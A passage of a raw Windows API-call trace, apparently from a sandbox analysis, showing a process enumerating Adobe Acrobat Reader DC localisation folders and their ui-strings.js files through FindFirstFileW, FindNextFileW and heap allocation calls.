0x33e4e28 [0246.690] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.690] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0246.690] GetProcessHeap () returned 0xc10000 [0246.690] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.691] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.691] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.692] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0246.692] GetProcessHeap () returned 0xc10000 [0246.692] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.692] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0246.692] GetProcessHeap () returned 0xc10000 [0246.692] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.693] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.693] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.694] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.694] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.694] GetProcessHeap () returned 0xc10000 [0246.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.694] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0246.694] GetProcessHeap () returned 0xc10000 [0246.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.695] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.695] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.695] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.695] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.695] GetProcessHeap () returned 0xc10000 [0246.695] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.695] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0246.696] GetProcessHeap () returned 0xc10000 [0246.696] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.697] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.697] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.697] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.697] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.697] GetProcessHeap () returned 0xc10000 [0246.697] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.697] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0246.697] GetProcessHeap () returned 0xc10000 [0246.697] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.699] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.699] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.699] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.699] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.699] GetProcessHeap () returned 0xc10000 [0246.699] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.699] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0246.699] GetProcessHeap () returned 0xc10000 [0246.699] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.884] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.884] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.884] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.884] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.884] GetProcessHeap () returned 0xc10000 [0246.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.884] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0246.884] GetProcessHeap () returned 0xc10000 [0246.884] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.885] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.885] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.885] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.885] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.885] GetProcessHeap () returned 0xc10000 [0246.886] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.886] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0246.886] GetProcessHeap () returned 0xc10000 [0246.886] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.903] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.903] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.903] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.903] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 